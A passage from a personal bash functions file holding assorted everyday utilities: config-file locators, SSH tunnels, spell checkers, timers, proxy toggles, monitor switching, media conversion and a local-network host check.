else
echo "Error: php.ini file could not be found."
echo "Searching for possible locations:"
sudo updatedb && locate php.ini
fi
}
####### Edit the MySQL configuration file
function mysqlconfig ()
{
if [ -f /etc/my.cnf ]; then
sedit /etc/my.cnf
elif [ -f /etc/mysql/my.cnf ]; then
sedit /etc/mysql/my.cnf
elif [ -f /usr/local/etc/my.cnf ]; then
sedit /usr/local/etc/my.cnf
elif [ -f /usr/bin/mysql/my.cnf ]; then
sedit /usr/bin/mysql/my.cnf
elif [ -f ~/my.cnf ]; then
sedit ~/my.cnf
elif [ -f ~/.my.cnf ]; then
sedit ~/.my.cnf
else
echo "Error: my.cnf file could not be found."
echo "Searching for possible locations:"
sudo updatedb && locate my.cnf
fi
}
####### Ssh functions #
#------------------------------------------////
function slak()
{
if [ $# -lt 2 ]; then
echo "add public key to securelink server"
echo "usage: skak [accountname] [sl port]"
else
cat /Volumes/Library/ssh/id_rsa-$1.pub | ssh -q lila@localhost -p $2 "if [ ! -d ~/.ssh/ ] ; then mkdir ~/.ssh ; fi ; chmod 700 ~/.ssh/ ; cat - >> ~/.ssh/authorized_keys ; chmod 600 ~/.ssh/authorized_keys"
fi
}
###### slssh
function slssh()
{
if [ $# -lt 1 ]; then
echo "connect to securelink ssh session"
echo "usage slssh [port#]"
echo "ssh -p \$1 localhost"
else
ssh -p $1 localhost
fi
}
###### slpg
function slpg()
{
if [ $# -lt 1 ]; then
echo "create securelink ssh tunnel for postgres"
echo "usage: slpg [port#]"
echo "ssh -N localhost -L 2345/localhost/5432 -p \$1"
else
ssh -N localhost -L 2345/localhost/5432 -p $1
fi
}
###### sshmysql
function sshmysql()
{
# bind MySQL hostport to forward remote MySQL connection to localhost
ssh -L 13306:127.0.0.1:3306 -N $* &
}
###### sshpg
function sshpg()
{
if [ $# -lt 1 ]; then
echo "create ssh tunnel for postgres"
echo "usage: sshpg username@server"
echo "ssh -N \$1 -L 2345/localhost/5432"
else
ssh -N $1 -L 2345/localhost/5432
fi
}
###### sshpg2
function sshpg2()
{
if [ $# -lt 1 ]; then
echo "create ssh tunnel for postgres"
echo "usage: sshpg username@server"
echo "ssh -N \$1 -L \$2/localhost/5432"
else
ssh -N $1 -L $2/localhost/5432
fi
}
####### Function that outputs dots every second until command completes
function sleeper() { while `ps -p $1 &>/dev/null`; do echo -n "${2:-.}"; sleep ${3:-1}; done; }; export -f sleeper
####### Slow down CPU and IO for process and its offsprings
#------------------------------------------////
###### requires gawk: sudo apt-get install gawk
function slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print $2}'|cut -f1 -d " ") ; }
####### Sort a list of comma-separated list of numbers
function sort_csn() { echo "${1}" | sed -e "s/,/\n/g"| sort -nu | awk '{printf("%s,",$0)} END {printf("\n")}' | sed -e "s/,$//"; }
####### Get function's source
function source_print() { set | sed -n "/^$1/,/^}$/p"; }
# Spellchecking
#------------------------------------------////
###### I-Spell @ work: ENGLISH - requires ispell: sudo apt-get install ispell
function spell()
{
local CHATTO
if [ $# -ne 1 ]; then
echo -e "\033[1;32mUSAGE: \033[33mis word_to_check\033[0m"
else
CHATTO=$( echo $* | awk '{print $1}' )
shift
echo -e "----------------------------------------------------->\n"
echo $CHATTO | ispell -a -m -B |grep -v "@"
echo -e "----------------------------------------------------->"
fi
}
###### Google spell checker
function spellcheck() { typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://www.google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}
###### spell checks either a Web page URL or a file - requires ispell: sudo apt-get install ispell
function webspell()
{
okaywords="$HOME/.okaywords"
tempout="/tmp/webspell.$$"
trap "/bin/rm -f $tempout" 0
if [ $# -eq 0 ] ; then
echo "Usage: webspell file|URL" >&2;
fi
for filename
do
if [ ! -f "$filename" -a "$(echo $filename|cut -c1-7)" != "http://" ] ; then
continue; # picked up directory in '*' listing
fi
lynx -dump $filename | tr ' ' '\n' | sort -u | \
grep -vE "(^[^a-z]|')" | \
# adjust the following line to produce just a list of misspelled words
ispell -a | awk '/^\&/ { print $2 }' | \
sort -u > $tempout
if [ -r $okaywords ] ; then
# if you have an okaywords file, screen okay words out
grep -vif $okaywords < $tempout > ${tempout}.2
mv ${tempout}.2 $tempout
fi
if [ -s $tempout ] ; then
echo "Probable spelling errors: ${filename}"
echo '-------' ; cat $tempout ; echo '========='
cat $tempout | paste - - - - | sed 's/^/ /'
fi
done
}
####### Cut a part of a video # ("$1" for original file, "$2" for new file, "$3" is start time, & "$4" is length of video desired)
function splitvideo()
{
ffmpeg -vcodec copy -acodec copy -i "$1" -ss "$3" -t "$4" "$2"
}
####### Posts a file to sprunge.us and copies the related url to the clipboard (command line pastebin) #
function sprunge() { curl -s -F "sprunge=@$1" http://sprunge.us | xclip -selection clipboard && xclip -selection clipboard -o; }
####### Stock prices - can be called two ways: stock novl (this shows stock pricing): stock "novell" (this way shows stock symbol for novell) #
function stock()
{
stockname=`lynx -dump http://finance.yahoo.com/q?s=${1} | grep -i ":${1})" | sed -e 's/Delayed.*$//'`
stockadvise="${stockname} - delayed quote."
declare -a STOCKINFO
STOCKINFO=(` lynx -dump http://finance.yahoo.com/q?s=${1} | egrep -i "Last Trade:|Change:|52wk Range:"`)
stockdata=`echo ${STOCKINFO[@]}`
if [[ ${#stockname} != 0 ]] ;then
echo "${stockadvise}"
echo "${stockdata}"
else
stockname2=${1}
lookupsymbol=`lynx -dump -nolist http://finance.yahoo.com/lookup?s="${1}" | grep -A 1 -m 1 "Portfolio" | grep -v "Portfolio" | sed 's/\(.*\)Add/\1 /'`
if [[ ${#lookupsymbol} != 0 ]] ;then
echo "${lookupsymbol}"
else
echo "Sorry $USER, I can not find ${1}."
fi
fi
}
###### command line way to get the stock quote via Yahoo
function stock_()
{
curl -s 'http://download.finance.yahoo.com/d/quotes.csv?s=csco&f=l1'
}
####### Stopwatch and Countdown Timer #
function stopwatch() {
BEGIN=$(date +%s)
while true; do
NOW=$(date +%s)
DIFF=$(($NOW - $BEGIN))
MINS=$(($DIFF / 60))
SECS=$(($DIFF % 60))
echo -ne "Time elapsed: $MINS:`printf %02d $SECS`\r"
sleep .1
done
}
###### stopwatch with log
function stop_watch()
{
START=$( date +%s ); while true; do CURRENT=$( date +%s ) ; echo $(( CURRENT-START )) ; sleep 1 ; echo -n ^[[A ; done
}
###### countdown clock
function countdown() { case "$1" in -s) shift;; *) set $(($1 * 60));; esac; local S=" "; for i in $(seq "$1" -1 1); do echo -ne "$S\r $i\r"; sleep 1; done; echo -e "$S\rBOOM!"; }
###### countdown clock
alias countdown2='MIN=1 && for i in $(seq $(($MIN*60)) -1 1); do echo -n "$i, "; sleep 1; done; echo -e "\n\nBOOOM! Time to start."'
####### Transcodes and streams a video over http on port 6789 (vlc required) #
# function stream() { cvlc $1 --extraintf rc --sout
# 'transcode{vcodec=h264,vb=256,fps=12,scale=1,deinterlace,acodec=mp3,threads=3,ab=64,channels=2}:duplicate{dst=std{access=http,mux=ts,dst=0.0.0.0:6789}}';
# }
####### Print the corresponding error message
function strerror() { python -c "import os; print os.strerror($1)"; }
####### Function to split a string into an array
function string2array()
{
read -a ARR <<<'world domination now!'; echo ${ARR[2]};
}
####### Count total number of subdirectories in current directory starting with specific name.
function subdir_find()
{
find . -type d -name "*TestDir*" | wc -l
}
####### Check tcp-wrapping support - returns TRUE if the application supports tcp-wrapping or FALSE if not by reading the shared libraries used by this application.
function supportsWrap() { ldd `which ${1}` | grep "libwrap" &>/dev/null && return 0 || return 1; }
####### Swap 2 filenames around #
#------------------------------------------////
###### from Uzi's bashrc
function swap()
{
local TMPFILE=tmp.$$
[ $# -ne 2 ] && echo "swap: 2 arguments needed" && return 1
[ ! -e $1 ] && echo "swap: $1 does not exist" && return 1
[ ! -e $2 ] && echo "swap: $2 does not exist" && return 1
mv "$1" $TMPFILE
mv "$2" "$1"
mv $TMPFILE "$2"
}
####### swap2
function swap2() { if [ -f "$1" -a -f "$2" ]; then mv "$1" "$1.$$" && mv "$2" "$1" && mv "$1.$$" "$2" && echo "Success"; else echo "Fail"; fi; }
####### Switch two files (comes in handy)
function switchfile() {
mv $1 ${1}.tmp && $2 $1 && mv ${1}.tmp $2
}
####### Creates a dated tarball
function tarball()
{
name=$1
shift
tar zcvf $name-`date +%Y%m%d`.tar.gz "$@"
}
####### Monitor progress of data through a pipeline
function tarcp() {
if (( $# >= 2 )); then
echo "copy ${@[1, -2]} => ${@[-1]}"
# http://www.ivarch.com/programs/pv.shtml
if which pv ; then
tar -c -f - ${@[1, -2]} | pv -t -b -r | tar -x -f - -C ${@[-1]}
else
tar -c -v -f - ${@[1, -2]} | tar -x -f - -C ${@[-1]}
fi
else
"error, not enough parameters."
return 1
fi
}
####### TODO: fix so -s can be sent to cp
function tcp() {
if [ "$1" = "-s" -o "$1" = "--set-target" ]; then
COPY_TARGET="$(realpath $2)";
elif [ "$1" = "-h" -o "$1" = "--help" ]; then
echo "usage: tcp [-s|--set-target <dir>] | <mv args> <files>";
else
cp --target-directory "$COPY_TARGET" "$@";
fi
}
####### Keeping your $HOME directory organized - having one temp dir for dls etc can quickly become mess, so try this tip to organise by date
# export TD="$HOME/temp/`date +'%Y-%m-%d'`"
# function td() {
# td=$TD
# if [ ! -z "$1" ]; then
# td="$HOME/temp/`date -d "$1 days" +'%Y-%m-%d'`";
# fi
# mkdir -p $td; cd $td
# unset td
# }
###### Make the following commands run in background automatically - wrapper around xemacs/gnuserv ...
function te()
{
if [ "$(gnuclient -batch -eval t 2>&-)" == "t" ]; then
gnuclient -q "$@";
else
( xemacs "$@" &);
fi
}
####### Set terminal title #
#------------------------------------------////
function terminal_title {
echo -en "\033]2;$@\007"
}
# Set/Unset a proxy for the terminal using tor
#------------------------------------------////
###### For a HTTP proxy in a single terminal window, simply run the following command in a terminal:
# export http_proxy='http://YOUR_USERNAME:YOUR_PASSWORD@PROXY_IP:PROXY_PORT/'
# For a secure connection (HTTPS), use:
# export https_proxy='http://YOUR_USERNAME:YOUR_PASSWORD@PROXY_IP:PROXY_PORT/'
# Obviously, replace everything with your username, password, proxy ip and port. If the proxy does not require an username and password, skip that part
function termproxy()
{
export http_proxy='http://localhost:8118'
export https_proxy='http://localhost:8118'
}
###### To close the HTTP proxy in the terminal, either close the terminal, or enter this:
function termproxyX()
{
unset http_proxy
unset https_proxy
}
####### Terrorist threat level text
function terrorist-level()
{
echo "Terrorist threat level: $(curl -s 'http://www.dhs.gov/dhspublic/getAdvisoryCondition' | awk -F\" 'NR==2{ print $2 }')"
}
####### Display theme info
function themeinfo() {
if [ `pgrep emerald` ]; then
echo " Emerald: `cat $HOME/.emerald/theme/theme.ini | grep description | awk -F= '{print $2}'`"
else
echo " Metacity: `gconftool-2 -g /apps/metacity/general/theme`"
fi
echo " GTK: `gconftool-2 -g /desktop/gnome/interface/gtk_theme`"
echo " Icons: `gconftool-2 -g /desktop/gnome/interface/icon_theme`"
echo " Cursor: `gconftool-2 -g /desktop/gnome/peripherals/mouse/cursor_theme`"
echo " Font: `gconftool-2 -g /desktop/gnome/interface/font_name`"
echo " Wallpaper: `gconftool-2 -g /desktop/gnome/background/picture_filename | xargs basename | cut -d. -f 1`"
echo
}
####### Thesaurus requires dict: sudo apt-get install dict
function ths() {
dict -d moby-thes $@
}
####### A function to find the fastest free DNS server - requires: sudo apt-get install moreutils
function timeDNS() { { for x in "${local_DNS}" "208.67.222.222" "208.67.220.220" "198.153.192.1" "198.153.194.1" "156.154.70.1" "156.154.71.1" "8.8.8.8" "8.8.4.4"; do ({ echo -n "$x "; dig @"$x" "$*"|grep Query ; }|sponge &) done ; } | sort -n -k5 ; }
####### Timer function - Elapsed time. Usage:
# t=$(timer)
# ... # do something
# printf 'Elapsed time: %s\n' $(timer $t)
# ===> Elapsed time: 0:01:12
# If called with no arguments a new timer is returned.
# If called with arguments the first is used as a timer
# value and the elapsed time is returned in the form HH:MM:SS.
function timer()
{
if [[ $# -eq 0 ]]; then
echo $(date '+%s')
else
local stime=$1
etime=$(date '+%s')
if [[ -z "$stime" ]]; then stime=$etime; fi
dt=$((etime - stime))
ds=$((dt % 60))
dm=$(((dt / 60) % 60))
dh=$((dt / 3600))
printf '%d:%02d:%02d' $dh $dm $ds
fi
}
####### Return a title-cased version of the string[str.title() in python]
function title() { sed 's/\<\w*/\u&/g' <<<$@; }
# function title() { string=( $@ ); echo ${string[@]^} ; }
####### To examine lots of files and potentially move them to a common directory
# ex: tmv -s /mnt/disk/5k
# ex: make a playlist
# ex: tmv eye-of-the-tiger.mp3 # <-> mv eye-of-the-tiger.mp3 /mnt/disk/5k
function tmv() {
if [ "$1" = "-s" -o "$1" = "--set-target" ]; then
MOVE_TARGET="$(realpath $2)";
elif [ "$1" = "-h" -o "$1" = "--help" ]; then
echo "usage: tmv [-s|--set-target <dir>] | <mv args> <files>";
else
mv --target-directory "$MOVE_TARGET" "$@";
fi
}
####### Top-ten commands
function top10() {
history | awk '{a[$2]++ } END{for(i in a){print a[i] " " i}}' | sort -rn | head
}
####### Switch tor on and off (requires privoxy)
function torswitch() {
if [[ $EUID == 0 ]]; then
case $1 in
*on )
if [[ $(grep forward-socks4a /etc/privoxy/config) == "" ]]; then
echo "forward-socks4a / 127.0.0.1:9050 ." >> /etc/privoxy/config
else
sed -e 's/\# forward-socks4a/forward-socks4a/g' -i /etc/privoxy/config
/etc/init.d/tor restart
/etc/init.d/privoxy restart
fi
;;
*off )
sed -e 's/forward-socks4a/\# forward-socks4a/g' -i /etc/privoxy/config
/etc/init.d/tor restart
/etc/init.d/privoxy restart
;;
esac
fi
}
####### Get the total length of all video / audio in the current dir in H:m:s
alias total_audio_length="mplayer -endpos 0.1 -vo null -ao null -identify *.avi 2>&1 |grep ID_LENGTH |cut -d = -f 2|awk '{SUM += $1} END { printf "%d:%d:%d\n",SUM/3600,SUM%3600/60,SUM%60}'"
alias total_video_length='total_audio_length'
###### ####### Touchpad stuff - to get information on touchpad
alias touchpad_id='xinput list | grep -i touchpad'
###### ####### Touchpad stuff - to disable touchpad- using 'touchpad_id', set the number for your touchpad (default is 12)
function touchpad_off()
{
touchpad=12
xinput set-prop $touchpad "Device Enabled" 0
}
###### ####### Touchpad stuff - to enable touchpad- using 'touchpad_id', set the number for your touchpad (default is 12)
function touchpad_on()
{
touchpad=12
xinput set-prop $touchpad "Device Enabled" 1
}
####### Transmission with blocklists
function transmissionbl()
{
# Automatically downloads and 'installs' my choice of I-Blocklist lists prior to running Transmission (currently, there are 82 separate lists to choose from)
# Homepage: http://www.iblocklist.com/lists.php
notify-send -t 20000 -i /usr/share/icons/gnome/32x32/status/info.png "Please wait while blocklists for Transmission BitTorrent Client are downloading..."
BLOCKLISTDIR="$HOME/.config/transmission/blocklists"
BASEURL="http://list.iblocklist.com/?list="
ENDURL="&fileformat=p2p&archiveformat=gz"
FILES=( bt_level1 bt_level2 bt_level3 us bt_dshield jcjfaxgyyshvdbceroxf ijfqtofzixtwayqovmxn bt_templist dufcxgnbjsdwmwctgfuj )
if [ ! -d $BLOCKLISTDIR ];then
mkdir -p $BLOCKLISTDIR
else
/bin/rm -fv -R $BLOCKLISTDIR
mkdir -p $BLOCKLISTDIR
fi
for i in "${FILES[@]}"
do
# wget -c $BASEURL"$i"$ENDURL -O $BLOCKLISTDIR/$i.gz
curl -L --retry 10 $BASEURL"$i"$ENDURL -o $BLOCKLISTDIR/$i.gz # seems to generate less download failures than wget
gunzip -f $BLOCKLISTDIR/$i.gz
mv $BLOCKLISTDIR/$i $BLOCKLISTDIR/$i.txt
done
if [ ! $(find "$BLOCKLISTDIR" -type f -name "*.gz") ];then
notify-send -t 10000 -i /usr/share/icons/gnome/32x32/status/info.png "The blocklists have finished downloading. Transmission will open momentarily..."
transmission-gtk
/bin/rm -fv -R $BLOCKLISTDIR/*.txt
exit
else
notify-send -t 10000 -i /usr/share/icons/gnome/32x32/status/info.png "The blocklists have failed to completely download. Please try again." & /bin/rm -fv -R $BLOCKLISTDIR
exit
fi
}
####### Moves specified files to ~/.Trash - will not overwrite files that have the same name
function trashit()
{ local trash_dir=$HOME/.Trash
for file in "$@" ; do
if [[ -d $file ]] ; then
local already_trashed=$trash_dir/`basename $file`
if [[ -n `/bin/ls -d $already_trashed*` ]] ; then
local count=`/bin/ls -d $already_trashed* | /usr/bin/wc -l`
count=$((++count))
/bin/mv --verbose "$file" "$trash_dir/$file$count"
continue
fi
fi
/bin/mv --verbose --backup=numbered "$file" $HOME/.Trash
done
}
####### Tree stuff - shows directory tree (requires 'tree': sudo apt-get install tree)
function treecd() {
builtin cd "${@}" &>/dev/null
. $BSNG_RC_DIR/dirinfo/display
dirinfo_display
echo -e "${epink}content:"
tree -L 1 $TREE_OPTS
echo "$PWD" > $HOME/.lastpwd
}
####### Tree stuff - displays a tree of the arborescence
function treefind() {
find "$@" | sed 's/[^/]*\//| /g;s/| *\([^| ]\)/+--- \1/'
}
####### Search for a show at TV.COM #
#------------------------------------------////
function tvcom() {
firefox "http://www.tv.com/search.php?type=11&stype=all&tag=search%3Bfrontdoor&qs="${@}"&stype=program" &
}
####### TV/Monitor switch on/off (good for wanting to watch video from computer through S-Video out) - use the command: "xrandr" to discover what the proper connected video outputs there are attached such as VGA-0 (monitor), LVDS1 (Laptop screen), S-video, VGA1 (VGA-to-TV Converter Box), etc.
function tv-monitor-switch-end() {
mode="$(xrandr -q|grep -A1 "LVDS1 connected"| tail -1 |awk '{ print $1 }')"
if [ -n "$mode" ]; then
mode1="$(xrandr -q|grep -A1 "VGA1 connected"| tail -1 |awk '{ print $1 }')"
if [ -n "$mode1" ]; then
xrandr --output LVDS1 --mode 1280x800 --output VGA1 --off
else
echo "No VGA1 monitor is connected so nothing to do."
fi
else
mode2="$(xrandr -q|grep -A1 "VGA-0 connected"| tail -1 |awk '{ print $1 }')"
if [ -n "$mode2" ]; then
mode3="$(xrandr -q|grep -A1 "S-video connected"| tail -1 |awk '{ print $1 }')"
if [ -n "$mode3" ]; then
xrandr --output VGA-0 --mode 1024x768 --output S-video --off
else
echo "No S-video monitor is connected so nothing to do."
fi
else
echo "No other monitor is connected so nothing to do."
fi
fi
}
###### tv-monitor-switch-start
function tv-monitor-switch-start() {
mode="$(xrandr -q|grep -A1 "LVDS1 connected"| tail -1 |awk '{ print $1 }')"
if [ -n "$mode" ]; then
mode1="$(xrandr -q|grep -A1 "VGA1 connected"| tail -1 |awk '{ print $1 }')"
if [ -n "$mode1" ]; then
xrandr --addmode VGA1 1024x768
xrandr --output LVDS1 --mode 1024x768 --output VGA1 --mode 1024x768 --same-as LVDS1
else
echo "No VGA1 monitor is connected so nothing to do."
fi
else
mode2="$(xrandr -q|grep -A1 "VGA-0 connected"| tail -1 |awk '{ print $1 }')"
if [ -n "$mode2" ]; then
mode3="$(xrandr -q|grep -A1 "S-video connected"| tail -1 |awk '{ print $1 }')"
if [ -n "$mode3" ]; then
xrandr --addmode S-video 800x600
xrandr --output VGA-0 --mode 800x600 --output S-video --mode 800x600 --same-as VGA-0
else
echo "No S-video monitor is connected so nothing to do."
fi
else
echo "No other monitor is connected so nothing to do."
fi
fi
}
####### Convert text file to pdf - Requires: sudo apt-get install txt2html python-pisa (Packet Veraltet)
# function txt2pdf() { xhtml2pdf -b "${1%.*}" < <(txt2html "$1"); }
####### Adds "-c" canonical option to bash "type" - builtin command to follow symbolic links #
function type() { if [ "$1" = "-c" ]; then shift; for f in "$@"; do ff=$(builtin type -p "$f"); readlink -f "$ff"; done; else builtin type $typeopts "$@"; fi; }
####### Changes spaces to underscores in names
function underscore()
{
for f in * ; do
[ "${f}" != "${f// /_}" ]
mv -- "${f}" "${f// /_}"
done
}
####### Decompiler for jar files using jad
function unjar() { mkdir -p /tmp/unjar/$1 ; unzip -d /tmp/unjar/$1 $1 *class 1>/dev/null && find /tmp/unjar/$1 -name *class -type f | xargs jad -ff -nl -nonlb -o -p -pi99 -space -stat ; rm -r /tmp/unjar/$1 ; }
####### Remove all files created by latex
function unlatex() {
if [ "$1" == "" ]; then
return
fi
i=${1%%.*}
rm -f $i.aux $i.toc $i.lof $i.lot $i.los $i.?*~ $i.loa $i.log $i.bbl $i.blg $i.glo
rm -f $i.odt $i.tns $i.fax $i.bm $i.out $i.nav $i.snm
rm -f $i.mtc* $i.bmt
mv -f $i.dvi .$i.dvi
mv -f $i.ps .$i.ps
mv -f $i.pdf .$i.pdf
rm -f $i.dvi $i.ps $i.pdf
unset i
}
####### Up to top directory
function up() {
[ "${1/[^0-9]/}" == "$1" ] && {
local ups=""
for ((i=1; i<=$1; i++))
do
ups=$ups"../"
done
cd $ups
}
}
####### Move all files in current directory (recursively) up a level
function upalevel()
{
find . -type f | perl -pe '(s!(\./.*/)(.*)!mv "\1\2" "\1../\2"!);' | sh
}
####### Short URLs with ur1.ca
function ur1() { curl -s --url http://ur1.ca/ -d longurl="$1" | sed -n -e '/Your ur1/!d;s/.*<a href="\(.*\)">.*$/\1/;p' ; }
####### Easily decode unix-time (function)
function utime() { perl -e "print localtime($1).\"\n\"";}
####### Echo a command, then execute it
function v_() { echo "$@"; "$@"; }
###### Checks to ensure that all environment variables are valid - looks at SHELL, HOME, PATH, EDITOR, MAIL, and PAGER
function validator()
{
errors=0
function in_path()
{
# given a command and the PATH, try to find the command. Returns
# 1 if found, 0 if not. Note that this temporarily modifies the
# the IFS input field seperator, but restores it upon completion.
cmd=$1 path=$2 retval=0
oldIFS=$IFS; IFS=":"
for directory in $path
do
if [ -x $directory/$cmd ] ; then
retval=1 # if we're here, we found $cmd in $directory
fi
done
IFS=$oldIFS
return $retval
}
function validate()
{
varname=$1 varvalue=$2
if [ ! -z $varvalue ] ; then
if [ "${varvalue%${varvalue#?}}" = "/" ] ; then
if [ ! -x $varvalue ] ; then
echo "** $varname set to $varvalue, but I cannot find executable."
errors=$(( $errors + 1 ))
fi
else
if in_path $varvalue $PATH ; then
echo "** $varname set to $varvalue, but I cannot find it in PATH."
errors=$(( $errors + 1 ))
fi
fi
fi
}
####### Beginning of actual shell script #######
if [ ! -x ${SHELL:?"Cannot proceed without SHELL being defined."} ] ; then
echo "** SHELL set to $SHELL, but I cannot find that executable."
errors=$(( $errors + 1 ))
fi
if [ ! -d ${HOME:?"You need to have your HOME set to your home directory"} ]
then
echo "** HOME set to $HOME, but it's not a directory."
errors=$(( $errors + 1 ))
fi
# Our first interesting test: are all the paths in PATH valid?
oldIFS=$IFS; IFS=":" # IFS is the field separator. We'll change to ':'
for directory in $PATH
do
if [ ! -d $directory ] ; then
echo "** PATH contains invalid directory $directory"
errors=$(( $errors + 1 ))
fi
done
IFS=$oldIFS # restore value for rest of script
# Following can be undefined, & also be a progname, rather than fully qualified path.
# Add additional variables as necessary for your site and user community.
validate "EDITOR" $EDITOR
validate "MAILER" $MAILER
validate "PAGER" $PAGER
# and, finally, a different ending depending on whether errors > 0
if [ $errors -gt 0 ] ; then
echo "Errors encountered. Please notify sysadmin for help."
else
echo "Your environment checks out fine."
fi
}
######## Converts VCD/SVCD to MPEG files
function vcd2mpeg()
{
# Made by ioccatflashdancedotcx
# Version 1.6, Thu Aug 4 00:43:44 CEST 2005
if [ -n "$(ls 2>/dev/null *001|grep *001)" ]; then
rar x *01.rar
if [ -n "$(ls 2>/dev/null *bin)" ]; then
for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
mv *mpg cd.mpg
rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
fi
fi
if [ -n "$(ls 2>/dev/null *01.rar|grep *01.rar)" ]; then
rar x *01.rar
if [ -n "$(ls 2>/dev/null *bin)" ]; then
for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
mv *mpg cd.mpg
rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
fi
fi
if [ -n "$(ls 2>/dev/null *.rar|grep *.rar)" ]; then
rar x *rar
if [ -n "$(ls 2>/dev/null *bin)" ]; then
for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
mv *mpg cd.mpg
rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
fi
fi
for cddir in CD1 CD2 CD3 CD4 CD5 CD6 Cd1 Cd2 Cd3 Cd4 Cd5 Cd6 cd1 cd2 cd3 cd4 cd5 cd6; do
if cd ${cddir} &>/dev/null; then
if [ -n "$(ls 2>/dev/null *001|grep *001)" ]; then
rar x *001
if [ -n "$(ls 2>/dev/null *bin)" ]; then
for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
if [ -n "$(ls 2>/dev/null avseq02.mpg)" ]; then
rm avseq01.mpg
fi
mv *mpg ../${cddir}.mpg
rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
cd ..
for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
elif [ -n "$(ls 2>/dev/null *mpg)" ]; then
mv *mpg ../${cddir}.mpg
cd ..
for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
elif [ -n "$(ls 2>/dev/null *avi)" ]; then
mv *avi ../${cddir}.avi
cd ..
for i in ${cddir}.avi ; do mv -- $i `echo $i|tr A-Z a-z` ; done
fi
else
if [ -n "$(ls 2>/dev/null *01.rar|grep *01.rar)" ]; then
rar x *01.rar
if [ -n "$(ls 2>/dev/null *bin)" ]; then
for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
if [ -n "$(ls 2>/dev/null avseq02.mpg)" ]; then
rm avseq01.mpg
fi
mv *mpg ../${cddir}.mpg
rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
cd ..
for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
elif [ -n "$(ls 2>/dev/null *mpg)" ]; then
mv *mpg ../${cddir}.mpg
cd ..
for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
elif [ -n "$(ls 2>/dev/null *avi)" ]; then
mv *avi ../${cddir}.avi
cd ..
for i in ${cddir}.avi ; do mv -- $i `echo $i|tr A-Z a-z` ; done
fi
else
if [ -n "$(ls 2>/dev/null *.rar|grep *.rar)" ]; then
rar x *rar
if [ -n "$(ls 2>/dev/null *bin)" ]; then
for i in *bin ; do vcdxrip -p --bin-file="$i" ; done
if [ -n "$(ls 2>/dev/null avseq02.mpg)" ]; then
rm avseq01.mpg
fi
mv *mpg ../${cddir}.mpg
rm *cue *bin *.xml _cdi_cdi_* _extra_svcdinfo.txt &>/dev/null
cd ..
for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
elif [ -n "$(ls 2>/dev/null *mpg)" ]; then
mv *mpg ../${cddir}.mpg
cd ..
for i in ${cddir}.mpg ; do mv -- $i `echo $i|tr A-Z a-z` ; done
elif [ -n "$(ls 2>/dev/null *avi)" ]; then
mv *avi ../${cddir}.avi
cd ..
for i in ${cddir}.avi ; do mv -- $i `echo $i|tr A-Z a-z` ; done
fi
fi
fi
fi
fi
done
}
####### Copy a file prefixed with a version number to a subdirectory
function vers() { ( IFS=$'\n'; suf="_versions"; mkdir -p "$1$suf"; nr=`ls "$1$suf" | wc -l`; nr=`printf "%02d" $(($nr + 1))`; cp "$1" "$1$suf/v${nr}_$1" ) ; }
####### Edit a executable script
function vie() { vi $(which $1); }
####### Run a command, redirecting output to a file, then edit the file with vim
function vimcmd() { $1 > $2 && vim $2; }
####### Text message on wallpaper #
function wallpaperWarn() { BG="/desktop/gnome/background/picture_filename"; convert "`gconftool-2 -g $BG`" -pointsize 70 -draw "gravity center fill red text 0,-360 'Warn' fill white text 0,360 'Warn'" /tmp/w.jpg; gconftool-2 --set $BG -t string "/tmp/w.jpg" ; }
####### Crawl a webpage for links #
function webcrawl()
{
lynx -dump $1 | grep -A999 "^References$" | tail -n +3 | awk '{print $2 }'
}
####### Download all files of a certain type with wget - usage: wgetall mp3 http://example.com/download/
function wgetall() { wget -r -l2 -nd -Nc -A.$@ $@ ; }
####### Telling you from where your commit come from
function where()
{
COUNT=0; while [ `where_arg $1~$COUNT | wc -w` == 0 ]; do let COUNT=COUNT+1; done; echo "$1 is ahead of "; where_arg $1~$COUNT; echo "by $COUNT commits";};function where_arg() { git log $@ --decorate -1 | head -n1 | cut -d ' ' -f3- ;
}
####### Which PATH variable should use for this script?#
function whichpath() { local -A path; local c p; for c; do p=$(type -P "$c"); p=${p%/*}; path[${p:-/}]=1; done; local IFS=:; printf '%s\n' "${!path[*]}"; }
###### Check hosts that are online - for those who DO NOT USE their /etc/hosts file for name resolution
# This can look through resolv.conf file for address of nameservers (note: THIS WILL ONLY WORK IF YOU USE LOCAL NAMESERVERS! Nameservers
# from your ISP will render this function useless). It then cuts result to show just first 3 octets of IP address and runs nmap just as original function.
if which nmap 2>&1 > /dev/null; then
function whodat()
{
if [ -n "$1" ]; then
net="$1"
else
net=$(cat /etc/resolv.conf | grep 'nameserver' | cut -c12-26 | awk -F '.' '{print $1"."$2"."$3".0/24"}')
fi
echo "testing $net for online hosts"
nmap -sP $net | awk '/Host/ && /up/ { print $0; }'
echo "done"
}
fi
###### Check hosts that are online - for those who USE their /etc/hosts file for name resolution
#if which nmap 2>&1 > /dev/null; then
# function whoisonline()
# {
# if [ -n "$1" ]; then
# net="$1"
# else
# net=$(grep `hostname` /etc/hosts | awk -F '.' '{ print $1"."$2"."$3".0/24"}')
# fi
# sh_info "testing $net for online boxes"
# sudo nmap -sP $net | awk '/Host/ && /up/ { print $0; }'
# sh_success "done"
# }
#fi
